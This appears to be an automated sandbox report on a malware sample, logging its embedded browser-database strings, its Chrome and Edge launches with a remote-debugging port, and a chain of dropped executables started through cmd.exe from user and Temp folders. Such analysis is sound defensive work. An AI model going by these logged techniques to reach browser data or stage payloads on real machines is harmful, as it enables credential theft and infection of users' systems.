Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2629467438.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2355625402.000000001D2DD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2273852547.000000001D2E9000.00000004.00000020.00020000.00000000.sdmp, DGDBAKKJKKECGDGCAECA.0.dr, DBFIDGIIIJDBGDGDAKKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2625772626.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2617967459.000000001D3ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 53%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2716 --field-trial-handle=2624,i,784947958106043157,14754266140476347542,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2228,i,2147503693101938969,1745895719628420453,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6792 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDHIEBAAK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDHIEBAAK.exe "C:\Users\user\DocumentsFIDHIEBAAK.exe"
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4456 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe "C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDHIEBAAK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2716 --field-trial-handle=2624,i,784947958106043157,14754266140476347542,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2228,i,2147503693101938969,1745895719628420453,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2700 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6792 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6984 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4456 --field-trial-handle=2580,i,9342857520604231113,13711637661056565857,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDHIEBAAK.exe "C:\Users\user\DocumentsFIDHIEBAAK.exe"
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe "C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsFIDHIEBAAK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006803001\1c35230e0d.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
